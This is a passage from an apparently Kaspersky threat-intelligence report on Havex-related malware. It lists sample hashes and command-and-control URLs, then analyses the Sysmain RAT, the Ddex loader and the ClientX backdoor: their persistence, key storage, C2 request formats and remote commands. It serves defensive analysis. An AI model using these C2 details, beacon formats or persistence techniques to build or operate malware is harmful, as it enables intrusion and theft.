8e222cb1a831c407a3f6c7863f3faa6358b424e70a041c196e91fb7989735b68 Size:  452608 Compiled: Tue, 06 Nov 2012 08:55:54 UTC C2 URLs: baneh2net.com/wp-includes/pomo/idx.php ask.az/chat/cgi-bin/source.php popolnyalka.uz/math/wp-includes/pomo/idx.php SHA-256: 6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419 Size:  452608 Compiled: Tue, 06 Nov 2012 08:57:54 UTC C2 URLs: waytomiracle.com/physics/wp-includes/pomo/src.php anymax.ru/modules/mod_search/source.php ogizni.ru/wp-includes/pomo/idx.php 42 TLP: Green For any inquire please contact intelreportskaspersky.com SHA-256: 2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4 Size:  452608 Compiled: Tue, 06 Nov 2012 09:06:18 UTC C2 URLs: cadlab.ru/components/com_search/com_search.php entirenetwork.ru/components/com_search/search.src.php radiolocator.ru/includes/domit/dom_xmlrpc_builder_src.php SHA-256: d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46 Size:  452608 Compiled: Tue, 06 Nov 2012 09:14:18 UTC SHA-256: 6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980 Size:  350382 Compiled: Tue, 06 Nov 2012 09:14:18 UTC Notes:  file is corrupted C2 URLs: hram-gelendzhik.ru/modules/mod_search/source.php fasdalf.ru/modules/forum/forum-src.php fortexcompany.ru/forms/FCKeditor/editor/plugins/bbcode/fckplugin.php SHA-256: bee9f2a01e0049d4cf94016284b16849136233366d1509489797084672e5448f Size:  452608 Compiled: Wed, 19 Dec 2012 07:15:03 UTC C2 URLs: grafics.kz/plugins/search/source.php topstonet.ru/modules/mod_search/source.php raznyi-content.ru/wp-includes/pomo/idx.php SHA-256: dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd Size:  452608 Compiled: Thu, 20 Dec 2012 07:45:29 UTC C2 URLs: finadmition.ru/wp-includes/pomo/idx.php medpunkt.biz/includes/modules/FCKeditor/fcksource.php intimit.ru/includes/phpmailer/source.php SHA-256: fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 Size:  452608 Compiled: Fri Oct 26 12:13:04 2012 UTC C2 URLs: grafics.kz/plugins/search/source.php www.kino24.kz/blog/engine/modules/plugin/source.php 43 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com www.idweb.ru/assets/modules/docmanager/classes/dm_source.php HAVEX version 025 SHA-256: 684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc Size:  459264 Compiled: Mon, 24 Sep 2012 13:58:54 UTC C2 URLs: topco-co.com/wp-includes/pomo/idx.php?id crm.mayanks.com/vtigercrm/modules/Services/source.php?id tickettotimbuktu.com/app/code/core/Mage/Rule/Model/Condition/Source.php?id HAVEX version 029 SHA-256: cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 Size:  434688 Compiled: Tue, 30 Apr 2013 06:53:24 UTC C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php adultfrienditaly.com/wp-includes/pomo/src.php adultfriendfrance.com/wp-includes/pomo/src.php HAVEX version 030 SHA-256: 6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b Size:  435712 Compiled: Wed, 08 May 2013 05:12:53 UTC C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php adultfrienditaly.com/wp-includes/pomo/src.php adultfriendfrance.com/wp-includes/pomo/src.php HAVEX version 037 SHA-256: 0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095 Size:  436736 Compiled: Fri, 16 Aug 2013 05:49:18 UTC Resource: ICT 0x69 C2 URLs: jcaip.co.jp/inc/user/mysql_s.php shopcode.net/wp-includes/pomo/idx.php dl.3manage.com/services/ip/easy/idx.php SHA-256: 92c959c36617445a35e6f4f2ee2733861aa1b3baf8728d19a4fd5176f3c80401 Size:  436736 44 TLP: Green For any inquire please contact intelreportskaspersky.com Compiled: Wed, 28 Aug 2013 07:21:28 UTC Resource: ICT 0x69 C2 URLs: blog.olioboard.com/wp-includes/pomo/idx.php blog.keeleux.com/wp-includes/pomo/idx.php alexvernigor.com/includes/phpmailer/source.php SHA-256: 0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876 Size:  436799 Compiled: Thu, 04 Jul 2013 12:54:48 UTC Resource: ICT 0x69 C2 URLs: serviciosglobal.com/inc/search.php zhayvoronok.com/wp-includes/pomo/idx.php dreamsblock.com/witadmin/modules/source.php HAVEX version 038 SHA-256:  ec48b131612ef5637b387d9c2b0907d68a080fb77c6168e779fb7f3a0efa04dc Size:   327168 Compiled:  Tue, 29 Oct 2013 06:09:24 UTC C2 URLs: pekanin.freevar.com/include/template/isx.php simpsons.freesexycomics.com/wp06/wp-includes/po.php toons.freesexycomics.com/wp08/wp-includes/dtcla.php SHA-256: c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b Size:   327168 Compiled:  Tue, 29 Oct 2013 06:09:24 UTC C2 URLs: allcubatravel.com/roomHavana/Teresita/src.php keeleux.com/wp/wp-includes/idx.php sunny-thumbs.com/ebonyaddiction/14/black-stockings-gangbang/source.php SHA-256:  401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 Size:   327168 Compiled:  Mon, 30 Dec 2013 12:53:48 UTC C2 URLs: zhayvoronok.com/wp-includes/pomo/idx.php dreamsblock.com/witadmin/modules/source.php 38stalprof.com.ua/includes/domit/src.php SHA-256: ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633 Size:   327168 Compiled:  Mon, 20 Jan 2014 13:38:43 UTC 45 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php artem.sataev.com/blog/wp-includes/pomo/src.php swissitaly.com/includes/phpmailer/class.pop3.php SHA-256: 6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c Size:   327168 Compiled:  Tue, 29 Oct 2013 06:09:24 UTC C2 URLs: electroconf.xe0.ru/modules/mod_search/mod_search.src.php sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php SHA-256: e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad Size:   327591 Compiled:  Mon, 30 Dec 2013 12:53:48 UTC C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php artem.sataev.com/blog/wp-includes/pomo/src.php swissitaly.com/includes/phpmailer/class.pop3.php SHA-256: f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a Size:   327168 Compiled:  Mon, 30 Dec 2013 12:53:48 UTC C2 URLs: www.pc-service-fm.de/modules/mod_search/src.php artem.sataev.com/blog/wp-includes/pomo/src.php swissitaly.com/includes/phpmailer/class.pop3.php HAVEX version 040 SHA-256:  b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685 Size:   327168 Compiled:  Mon, 17 Feb 2014 09:35:14 UTC C2 URLs: adultfriendgermany.com/wp-includes/pomo/source.php adultfrienditaly.com/wp-includes/pomo/src.php adultfriendfrance.com/wp-includes/pomo/src.php HAVEX version 043 SHA-256:  69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b Size:   437760 Compiled:  Tue, 01 Apr 2014 10:59:19 UTC 46 TLP: Green For any inquire please contact intelreportskaspersky.com C2 URLs: electroconf.xe0.ru/modules/mod_search/mod_search.src.php sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php SHA-256:  101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a Size:   458752 Compiled:  Tue, 01 Apr 2014 10:59:19 UTC C2 URLs: SHA-256:  d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c Size:   437248 Compiled:  Fri, 11 Apr 2014 05:37:36 UTC C2 URLs: sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php HAVEX version 044 SHA-256:  1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19 Size:   438394 Compiled:  Wed, 07 May 2014 12:35:16 UTC C2 URLs: sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- settings-src.php SHA-256:  358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f Size:   422499 Compiled:  Wed, 07 May 2014 12:35:16 UTC Notes:  file is corrupted SHA-256: 4b547b3992838cfb3b61cb25f059c0b56c2f7caaa3b894dbc20bf7b33dadc5a1 Size:  473092 Compiled: Thu Jun  2 23:39:34 2011 UTC C2 URLs: www.iamnumber.com/modules/boonex/specialnumber/tmp.php disney.freesexycomics.com/wp10/wp-includes/pomo/idx.php solaed.ru/modules/mod_search/source.php 47 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com III.
Appendix 3: The Sysmain backdoor  detailed analysis Detailed analysis of first identified sample of SYSMAIN RAT.
The sample set contains two variants.
File metadata analyzed variant SHA-256: d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9 MD5:  418bfc05240ec86b91181f38bd751ccb Verdict: Trojan.
Win32.Sysmain.c Size:  131584 Compiled: Fri, 14 Dec 2012 17:50:05 Type:  DLL C2 urls: 8bs.org/wp-content/plugins/akismet/iddx.php agu-inyaz.com/awstats/icon/flags/src.php hajaj-center.com/moon/fancybox/fancy_source.php www.ferma.az/incfiles/classes/iddx.php File metadata second variant SHA-256: a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599 MD5:  875b0702ef3cc2d909ecf720bb4079c2 Verdict: Trojan.
Win32.Sysmain.e Size:  133152 Compiled: Wed, 12 Jun 2013 09:31:14 Type:  DLL C2 urls: ojoobo.com/modules/search/search.php giant99.com/system/modules/SMTP/class.src.php antibioticsdrugstore.com/err/log/source.php www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php Other sysmain samples: SHA-256: 31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95 Verdict: Trojan.
Win32.Sysmain.e 48 TLP: Green For any inquire please contact intelreportskaspersky.com Size:  133152 Compiled: Mon, 08 Apr 2013 21:41:53 UTC C2 urls: www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php www.christian-vedder.de/media/system/tmp/_tfpl.php blog.olioboard.com/wp-content/plugins/akismet/src.php mobitel.az/source/tmp/sdwrfq.php SHA-256: 53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac Verdict: Trojan.
Win32.Sysmain.b Size:  145440 Compiled: Thu, 07 Jun 2012 08:40:54 UTC C2 urls: warteam.freetzi.com/wp-includes/pomo/idx.php jetc.com/illegal_access_folder/source.php www.eth-inc.com//new/moduls/source.php crm.mayanks.in/include/tcpdf/config/source.php SHA-256: 81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df Verdict: Trojan.
Win32.Sysmain.e Size:  133152 Compiled: Thu, 21 Mar 2013 18:51:53 UTC C2 urls: 7adharat.com/forum/includes/search/log_search.php buythepill.net/cart/checkout/set/sidx.php sico.ueuo.com/engine/modules/src.php medpunkt.biz/includes/core/source.php SHA-256: dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989 Verdict: Trojan.
Win32.Sysmain.d Size:  144991 Compiled: Thu, 27 Oct 2011 04:59:50 UTC C2 urls: lankaranfc.com/360/resources/lankeran.php aikidogroup.com/anjoman/inc/plugins/scoll.php sico.ueuo.com/engine/modules/src.php SHA-256: 387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9 Verdict: Trojan.
Win32.Sysmain.e Size:  133223 Compiled: Fri, 16 Aug 2013 06:14:30 UTC C2 urls: www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php giant99.com/system/modules/SMTP/class.src.php www.christian-vedder.de/media/system/tmp/_tfpl.php 49 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com antibioticsdrugstore.com/err/log/source.php Exports RunDllEntry Installer: Copies itself to APPDATA\sydmain.dll Call RunReg (see below) Call AGTwLoad if binary not installed already AGTwLoad Initializes the malware and starts C2 communication Create internal Victim-ID: victim-idHKCU/Identities/Default User ID-18890 example1:  8B01CFB5-FF66-4404-89E2-27E06475EA38-18890 (query for HKCU/Identities/Default User ID was successful) example2: AD-18890 (query for HKCU/Identities/Default User ID was NOT successful) Create Muxtex: victim-id Add itself to PATH Call RunReg (see below) Call GPI (see below) Create another Victim-ID: victim-id2HKCU/Identities/Default User ID-01890 example1:  8B01CFB5-FF66-4404-89E2-27E06475EA38-01890 (query for HKCU/Identities/Default User ID was successful) example2: ED-01890 (query for HKCU/Identities/Default User ID was NOT successful) Open Mutex victim-id2 and create remote thread in corresponding process for C2 communication GPI Initializes the key infrastructure in registry and generates an external Victim-ID: Generate random Victim-ID HKCU/Identities/Default User ID  -  currentCursorPos  - currentPID-TUS If query for HKCU/Identities/Default User ID was NOT successful:  AUTO stringOfRandomInteger  -  currentCursorPos  -  currentPID-TUS 50 TLP: Green For any inquire please contact intelreportskaspersky.com Setup crypt key infrastructure with keys in registry (valid for both variants) Keys (stored in Software\Microsoft\Internet Explorer\InternetRegistry\SNLD) (prv) - used to decrypt incoming c2-communication db AATnkDHDlOcOi/6zqUVoaA2DfbTyIoP8y1Q5MxLfimzeQFgJvk/mdHDjghFl5p2 db naTmm9y6IAQ2JZpTFhW1WVqC6a8sipU62zO94YwwqtThm0citlfP4NyEm79c9Qok db 0S4wG987/9FPLbZG9h0DNBTjWDqyoyQP6Hy7r0ty/nwAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAQABpCpH/X6TONDPvyHNS76gFHJl8NMVfiVKtV829QDAbZE9/O db CmpPvvQCLGjD6NhMIKmq48INzQHiFO0Sv83OLA18pc18oIfDBtkyBnZRoaIrw3tn db sLwpEtYRtJ3axE4lT8ZBZ6Zu0EPXjqPkqbxH1RqF4pjBx1Rj15Ky/h1JCwH0Ftmu db gRGp/CISiQDvB3kDRFjp42s0xOyce8jhmSNH5E2PM3cXqCknRdIf6ZDRO2alMdds db TJhPV0S7hlLNbB8tzetjZ6zRsZL46NGcj2p6bfQ1jMrgwPWI1Run8uin/YjnTyHp db ecKai3AWGFHo8SR5dJkFpHb07R1wmlMZqOXyVqc0fapRiHe7mXorsBTD2B9pczszV db NkmSUgKy9MOKezUeUH0h290XSNR3eyl3j453C2ygeSCAYhrUyESQoGQgF57KDs0 db 4pS/uR3Yd1wr1dUKPfP7xkKZTtlrdqxSZQXtLY5PhjySDqT233WsVTl26L10t9r db PYp7nE97Godz8DXn8HfCsqRvYwdwfrOD3cpAnBL2u6gU/G5Cvw47QyiCF96iMMPuW db Vq25/xLj9ZcaWMtS9jVKxnlnvdaxIQ,0 (pubm) - used to encrypt outgoing c2-communication db AAStvhUWRdUCbz2jXG52xG6OXgtHxG9Qd/ckNJ2tQHZAfxDI/H3lmxy2JXILgri/h db pf0taVjAbfsohMcaBndaYkQa73k/WPXvi8lFFCbKBBGVfj7xo4CmiEC5blZCHDNt db E6poNeUFKddcXXQAeGOwcvQmVHSxQnuHISVqetyEaQAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAQAB,0 (pub) - used to encrypt files db AATnkDHDlOcOi/6zqUVoaA2DfbTyIoP8y1Q5MxLfimzeQFgJvk/mdHDjghFl5p2 db naTmm9y6IAQ2JZpTFhW1WVqC6a8sipU62zO94YwwqtThm0citlfP4NyEm79c9Qok db 0S4wG987/9FPLbZG9h0DNBTjWDqyoyQP6Hy7r0ty/nwAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA db AAAAAAAAAAAAAAAAQAB,0 AGTwRec: Gathers victim information and stores it in an encrypted XML-like-file in TEMP 51 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The path to this file is saved in registry (XORed with 0x05) Software\Microsoft\Internet Explorer\InternetRegistry\SNLD, sN (where N: [0,x[) external Victim-ID generated in GPI Username Computername Country Language Nation Type of Internet connection Current IP Drive information Default browser Process list Listing of files in User-Profile-Directory SendThisFile Encrypts arbitrary file with pub-key and save it to local dropzone (temp) as sN (where N:[0,x]) 52 TLP: Green For any inquire please contact intelreportskaspersky.com RenameExecute Renames itself and its startup-entry in registry RunReg Creates startup-entry in registry Software\Microsoft\Windows\CurrentVersion\Run, loadPathToRundll32 appdata\ sydmain.dll, AGTwLoad SharedRegistry: Used at install, adds itself to PATH BD: Encodes string with base64 using crypt32.dll, CryptBinaryToStringA Flags: (CRYPT_STRING_BASE64,CRYPT_STRING_NOCRLF) UB: Encodes string with base64 using crypt32.dll, CryptBinaryToStringA Flags: (CRYPT_STRING_BASE64) CF: Encrypts file with given key (called by non-public file-encryptor using pub-key) OF: Decrypts string with given key (called by non-public c2-communicator using prv-key) VD: Encrypts string with given key (called by non-public c2-communicator using pubm-key) RAT Commands used by attacker exe: execute file sent from c2 53 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com dll: load dll sent from c2 get: read file from disk, encrypt (with pub-key) and save it to local dropzone, filename in registry under sN dir: not fully implemented or prefix of next command rec: save directory listing and save it to local dropzone, filename in registry under sN cer: replace pubm-key in registry (used for c2-communication) srv: manipulates a nN and/or pN-entry in registry lst: deletes nN and Pn-entries in registry, creates new nN and pN-entries cmd: execute shell-command (via cmd.exe) rcp: gather victim data (calls AGTwRec) cls: delete registry entries Exemplary registry entries: Path: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD ID: Unique bot-id (see above) prv: priv key (encrypt msg c2) pubm: pub key (decrypt msg from c2) pub: pub key (file encryption) nN: random data pN: random data sN: XOR(5)-encrypted path (unicode) of (encrypted) files containing collected victim-data or dumped files form hdd For entries nN, pN, sN  N:[0,x] 54 TLP: Green For any inquire please contact intelreportskaspersky.com IV.
Appendix 4: Ddex loader  detailed analysis Binaries metadata SHA-256: 3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b Size:   24576 Compiled: Mon, 18 Oct 2010 08:13:57 UTC SHA-256:  7a115335c971ad4f15af10ea54e2d3a6db08c73815861db4526335b81ebde253 Size:   14296 Compiled: Thu, 28 Oct 2010 11:29:05 UTC Notes:  contains additional print export, which calls the main malware function without creating a thread SHA-256:  76b272828c68b5c6d3693809330555b5a1a6a8bda73228c8edc37afca78a21d6 Size:  13312 Compiled: Thu, 28 Oct 2010 11:29:05 UTC Notes:  practically identical to 7a11 SHA-256: 377a9c610cc17bbf19470b1a3f847b74e0f56d4f4fd57a3298c630dab403acea Size:  15360 Compiled: Wed, Nov 24 2010 09:47:09 UTC Notes:  practically identical to 7a11... All binaries have basically the same functionality - they serve as downloaders for other malicious code.
Code flow: Check / create mutex (6757) Check if its run by ddex.exe or explorer.exe if not, create remote thread in explorer.exe memory, which loads TEMP\Low\tmppnet.dll Set the autorun value: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows LoadTEMP\Low\ddex.exe Create a remote thread in explorer.exe, which loads TEMP\Low\ddex.exe Get some data from first br tag after UTC string in the file returned by www.thetimenow.com/ 55 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com index.cgi/?loc258 Get systime and write it to TEMP\Low\ntp.tmp Get windows version Look for malicious data by sending following request to the specified URLs: http://kitexgarments.com/ext/index2.php?tsosistask_ids http://creloaded.com/ext/index2.php?tsosistask_ids http://10bestsearch.com/ext/index2.php?tsosistask_ids [t  base64 encoded time string / o  os version / i  data from thetimenow.com or NULL / task_id  content of task.tmp or string done] Example request: /ext/index2.php/?tMjAxNDEyNzE0NQoXP_SP3itask_iddone Host information at the time of analysis: kitexgarments.com resolves to 66.39.134.254, alive GET request to specified file returns XAML/XAML creloaded.com resolves to 174.37.240.18, alive, GET request to specified file returns 404 10bestsearch.com resolves to 195.16.89.46, alive, GET request to specified file returns 404 Headers: User-Agent: Mozilla/5.0 (Windows U Windows NT 6.0 en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.59 Safari/534.3 Accept: text/xml Content-Type: application/x-www-form-urlencoded Accept-Encoding: no Connection: Keep-Alive 56 TLP: Green For any inquire please contact intelreportskaspersky.com If the string XAML/XAML is in the returned HTML code, exit otherwise: Read content that is between tags I6/I6 and write it to the file TEMP\Low\task.
tmp Read content that is between tags B6/B6, xor it with 0x0A and write it to the TEMP\ Low\ldXXXX.TMP file, then load this file to the memory 57 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com V. Appendix 5: The ClientX backdoor  detailed analysis The ClientX backdoor binaries were found in an open directory on one of the C2 servers.
They consist of two .NET files.
One of them is called client.exe, which is the main malware component.
The second is library.dll, which provides functions to client.exe.
Compiled on: Mon Mar 04 13:23:46 2013 File size: 81 920 bytes SHA256: D449AEDACCA27E61B8FAE3FCF0E40C29C53ED565E23ED64B6F5528287B547BD2 The client.exe file has built-in debug messages, but the binary was compiled as a GUI application.
By editing the PE header, it is possible to change it back to console, and see real time debug messages as the malware operates: Here is what is displayed upon execution: Sleep 10 seconds One instance upd cleaner upd cleaner done main loop settingcheck RegIeDir RegIeDir done run-work LM no error LM no error HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion run-work done work run-work done 2 BOTID settingcheck done ANSWER 0 Connecting get : http://hajaj-center.com/moon/fancybox/fancy_source.php?idBOTID 58 TLP: Green For any inquire please contact intelreportskaspersky.com begin work end work LOOP END Code flow: Upon execution, client.exe starts by sleeping for 10 seconds.
It then creates a Mutext called clientX to check whether other instances of the malware are already running.
If no other instance of the malware is found, it will write One instance and continue execution.
Otherwise, it will print out More than one instance and terminate.
Immediately after creating the Mutex the cleaner method is called.
(
Debug message: upd cleaner).
This method looks for all executables in the current folder and deletes files with names that do not match some file property criteria.
This is used to delete older versions of the RAT after a successful update (See the commands UPD later described in this appendix) 5.1.
Main loop The backdoor then starts the main loop, which is an infinite while loop.
(
Debug message: main loop).
5.1.1 Setting check Some settings are checked by the backdoor.
(
Debug message: setting check) The Settings Check method from the check class is used.
5.1.2 RegIeDir After the debug message RegIeDir, the following registry key is opened HKEY_CURRENT_USER\\ SOFTWARE\\Microsoft\\Internet Explorer and the subkey InternetRegistry is checked.
If not found, a subkey is created.
That part is closed by a debug message: RegIeDir done.
5.1.3  Run-work The run-work debug message indicates that the malware is gathering two registry keys for later use.
There is a structure named prSettings with the following fields: public struct prSettings  59 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com public string[] servers public string id public int timeout public string pub public string priv public RegistryKey KeyRun public RegistryKey KeyWork  The last two fields prSettings.
KeyRun and prSettings.
KeyWork are the one filled by run-work.
KeyRun will hold SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run, either from HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER depending on access rights.
KeyWork will hold SOFTWARE\\Microsoft\\Windows\\CurrentVersion, either from HKEY_ LOCAL_MACHINE or HKEY_CURRENT_USER depending on access rights.
The CheckAccessLM and CheckAccessCU methods check for access to Local Machine and Current User, respectively.
If the LOCAL MACHINE isnt accessible the following error message is displayed LM error: error reason, otherwise LM no error.
If the CURRENT MACHINE isnt accessible the following error message is displayed CU error: error reason, otherwise CU no error.
If for some reason, neither SOFTWARE\\Microsoft\\Windows\\CurrentVersion from Local Machine nor Current User is accessible, the following HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Internet Explorer\\InternetRegistry will be used for KeyWork.
Once the registry keys are identified, the debug message run-work done is displayed.
The malware prints both KeyRun and Keywork and continues execution.
A subkey is added to KeyRun to automatically start the malware when Windows reboots.
The name of that subkey comes from the version information entry of the resource section where the internal and original file name can be found.
60 TLP: Green For any inquire please contact intelreportskaspersky.com The full path of the malware is set and the malware can now survive reboot.
The debug message work is displayed.
5.1.4 Run-work done 2 The next step focuses on the Keywork registry key.
The following subkeys are checked and created if not present in Keywork\\[name_from_version_ information] :  done, doneEXT, work, settings and servers.
They hold not any value at this point.
This part is ended by a debug message: run-work done 2 5.1.5 Generating BotID and filling subkeys Immediately after checking for special subkeys, the IDget method is called.
If the id subkey doesnt exist, the method IDset is called and a new BOTID is created and stored as a Base64 encoded string.
Afterwards, the IDget method is called and the BOTID is Base64 decoded from the registry and saved for later use in prSettings.id.
It does the same for prSettings.priv, prSettings.pub , prSettings.timeout and prSettings.
servers, each time checking whether a value is already set, and creating one if not.
The developers made a mistake.
The prSettings.priv is set using the IDget method instead of the KeyPrivGet method.
However, this makes little difference since KeyPubGet, KeyPrivGet and IDget are wrappers to the GenerateID methods.
This could have introduced a serious flaw if those parameters were used in a secure scheme: Correct for Pub: if (this.
KeyPubGet(prSettings.
KeyWork)  null) this.
KeyPubSet(prSettings.
KeyWork) prSettings.pub  this.
KeyPubGet(prSettings.
KeyWork) Incorrect for Priv: if (this.
KeyPrivGet(prSettings.
KeyWork)  null) this.
KeyPrivSet(prSettings.
KeyWork) prSettings.priv  this.
IDget(prSettings.
KeyWork)    --- mistake 61 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Once it is done filling the prSettings structure, the debug message settingcheck done is displayed.
5.2 Network communication - AnsSend The next method called by our trojan is AnsSend.
It stands for Answer Send.
It starts with the debug message ANSWER.
This part of the code looks into the registry, specifically into the KeyWork\\[name_from_version_ information]\\done and doneEXT subkeys to see if there is anything ready to be posted to the CC server.
Those subkeys should be empty at this stage, since the Answers are only created after a task received from the CC server is completed.
Should answers be available, their numbers would be printed as a debug message and processed and the following would be displayed as a debug message: ANSWER 1 (meaning one answer) Connecting post: HTTP:\\CC server with botID as parameter 8 (size of answer  2 as it is converted to unicode) reqstream wrote to stream This essentially does a POST request to the CC server using the BOTID and the following User Agent: Mozilla/5.0 (Windows NT 6.1 rv:5.0) Gecko/20100101 Firefox/5.0 On the CC server side, a new file would be created named after the BOTID with the extension .ans.
Here is an example of such a file: The date of the post can be found, the base64 encoded CC server and the unicode string Answer, modified in this example.
This is how the attackers get an answer (result) from a given task.
5.3 Network communication - WorkReceive The WorkReceive function essentially does a GET request on the CC server in order to receive a task to complete on the infected computer.
The task to execute is encrypted and base64 encoded 62 TLP: Green For any inquire please contact intelreportskaspersky.com and returned between the havex tags.
Here is an example without any task between the tags: The trojan calls the DataParser to locate the task: The task is decrypted, decoded and stored in the KeyWork\\[name_from_version_information]\\ work subkey.
5.4 WorkBegin - Task Dispatcher Just before the WorkBegin method is called, the begin work debug message is displayed.
The first thing WorkBegin does is decrypt and unbase64 the answer returned from the DataParser.
Afterwards, two things are extracted: The command to execute and the data parameter for the command.
5.5 The Commands The final step calls the command dispatcher, which executes the command sent by the attackers.
5.5.1 SCR The SCR command is used by the attacker to request a Screen Capture of the infected computer.
Typical GDI functions are used, including: CreateCompatibleDC, GetSystemMetrics and CreateCompatibleBitmap.
The screenshots are made as JPG files.
If a screenshot already exist, it is deleted prior the creation of a new one.
5.5.2 DIR / DIS The DIR and DIS commands are used to generate Directory listings using the XML format.
63 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 5.5.3 TIM The TIM command is responsible for updating the Timeout parameter in the registry.
The command finds where the KeyWork is located and updates the Time out with the parameter provided to the command.
5.5.4 UPD The UPD command is used to run an updated version of the RAT.
The currently running RAT executes the update and exits.
Upon execution, the newly updated version will delete the old RAT using the Cleaner method described earlier.
5.5.5 FID Change Folder attributes.
5.5.6 LIB The LIB command is used to load a DLL on the infected machine.
It simply uses LoadLibrary.
5.5.7 FIR The FIR command is used to run an executable on the infected computer.
The process is created with hidden windows to stay unnoticed.
5.5.8 UPS The UPS command is used to update the CC server in the registry.
5.5.9 FIS The FIS command is used to check if the file passed as parameter exists on the infected computer.
5.5.10 FIT The FIT command is used to delete a file passed as parameter to the command if it exists on the infected computer.
